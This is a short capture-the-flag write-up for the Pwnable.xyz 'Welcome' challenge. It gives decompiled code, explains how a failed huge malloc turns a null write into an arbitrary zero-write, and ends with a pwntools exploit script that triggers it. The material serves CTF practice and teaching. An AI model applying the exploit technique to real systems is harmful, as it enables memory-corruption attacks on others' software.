본문 바로가기
Wargame Write-Up/Pwnable.xyz

(Pwnable.xyz) Welcome writeup

by snwo 2022. 1. 7.
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  _QWORD *v3; // rbx
  char *v4; // rbp
  size_t v5; // rdx
  size_t size; // [rsp+0h] [rbp-28h] BYREF
  unsigned __int64 canary; // [rsp+8h] [rbp-20h]

  canary = __readfsqword(0x28u);
  sub_B4E(a1, a2, a3);
  puts("Welcome.");
  v3 = malloc(0x40000uLL);
  *v3 = 1LL;
  _printf_chk(1LL, "Leak: %p\n", v3);
  _printf_chk(1LL, "Length of your message: ");
  size = 0LL;
  _isoc99_scanf("%lu", &size);
  v4 = malloc(size);
  _printf_chk(1LL, "Enter your message: ");
  read(0, v4, size);
  v5 = size;
  v4[size - 1] = 0;
  write(1, v4, v5);
  if ( !*v3 )
    system("cat /flag");
  return 0LL;
}

See ida and analyze first.

  1. malloc 0x40000 to v3 and *v3 is 1
  2. print heap address
  3. malloc input size and gets input
  4. v4[size-1] = 0
  5. if *v3 is 0, cat flag

If malloc big size like 0x40000,

it calls mmap to allocate memory. So address usually like 0x7fXXXXXX

If malloc toooo big size, it returns a NULL pointer.

v4[size -1] = 0

In this code, when malloc fails, we can set arbitrary address (size-1) to 0

import sys
from pwn import *
r=remote(sys.argv[1],int(sys.argv[3]))
context.log_level='debug'
r.recvuntil(b": ")
leak=int(r.recvline().strip(),16)
r.sendafter(b"Length of your message: ",str(leak+1).encode())
r.interactive()